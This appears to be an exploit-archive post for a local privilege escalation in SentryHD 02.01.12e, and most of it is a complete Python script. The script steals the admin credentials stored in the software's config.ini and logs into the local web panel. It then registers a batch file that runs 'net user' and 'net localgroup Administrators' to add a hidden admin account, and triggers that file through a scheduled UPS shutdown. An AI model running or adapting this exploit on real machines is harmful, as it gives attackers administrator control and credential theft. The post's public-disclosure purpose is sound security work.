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SentryHD 02.01.12e Privilege Escalation

SentryHD 02.01.12e Privilege Escalation
Posted Jan 18, 2017
Authored by Kacper Szurek

SentryHD version 02.01.12e suffers from a local privilege escalation vulnerability.

tags | exploit, local
MD5 | 85e02391e5639b13c5e60eed556d48a7

SentryHD 02.01.12e Privilege Escalation

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import ConfigParser
import hashlib
import re
import urllib2
import urllib
from cookielib import CookieJar
import os
import datetime
import subprocess
import time

new_user_name = "hacked"

print "SentryHD 02.01.12e Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

config = ConfigParser.RawConfigParser()
config.read('c:\\Program Files (x86)\\SentryHD\\config.ini')

admin_user = config.get("Web", 'User0')
admin_password = config.get("Web", 'Password0')

print "[+] Find admin user: '{}' and password: '{}'".format(admin_user, admin_password)

cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

challenge = re.search("\"Challenge\" value=\"(.*?)\"", opener.open("http://localhost/").read())

formdata = { "Username" : admin_user, "Password": admin_password, "Challenge" : challenge, "Response": hashlib.md5(admin_user+admin_password+challenge.group(1)).hexdigest()}
opener.open("http://localhost/delta/login", urllib.urlencode(formdata))

if "calcResponse()" in opener.open("http://localhost/home.asp").read():
print "[-] Failed to login"
os._exit(0)

bat_path = os.path.dirname(os.path.abspath(__file__))+"\\create_user.bat"
payload = open(bat_path, "w")
payload.write("net user {} /add\n".format(new_user_name))
payload.write("net localgroup Administrators {} /add".format(new_user_name))
payload.close()

print "[+] Create payload: {}".format(bat_path)

formdata = {"ACT_SHUT_TYPE":0, "ACT_UPS_DELAY":10, "ACT_PF_EN": "on", "ACT_OSD_PF":999, "ACT_BL_EN": "on", "ACT_OSD_BL":999, "ACT_SS_EN":"on","ACT_OSD_SS":999, "ACT_LS_EN":"on", "ACT_LS_DELAY":999, "SUB_SHUTDOWN":"Submit"}
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))

formdata = {"ACT_MSG_EN":1, "ACT_MSG_PERIOD":999, "ACT_CMD_EN":1, "ACT_CMD_FILE":bat_path, "ACT_CMD_BEFORE": 990, "SUB_REACTION":"Submit"}
opener.open("http://localhost/delta/mgnt_reaction", urllib.urlencode(formdata))


current_time = datetime.datetime.today()+datetime.timedelta(0,90)
shutdown_date = current_time.strftime('%m/%d/%Y')
shutdown_time = current_time.strftime('%H:%M')

formdata = {"SSH_SD1":shutdown_date, "SSH_TM1":shutdown_time, "SSH_ACT1":1}
opener.open("http://localhost/delta/mgnt_sschedule", urllib.urlencode(formdata))

print "[+] Set shutdown time: {} {}".format(shutdown_date, shutdown_time)

print "[+] Waiting for user creation"
i = 0
while True:
if i > 100:
print "[-] Exploit failed"
os._exit(0)

netuser, _ = subprocess.Popen("net users", stdout=subprocess.PIPE, stderr=None, shell=False).communicate()

if new_user_name in netuser:
break

print "." ,
time.sleep(2)
i += i

print "\n[+] Account created, cancel shutdown"

formdata = {"SHUT_CANCEL":"Cancel Countdown"}
opener.open("http://localhost/delta/mgnt_control", urllib.urlencode(formdata))

print "[+] OK"


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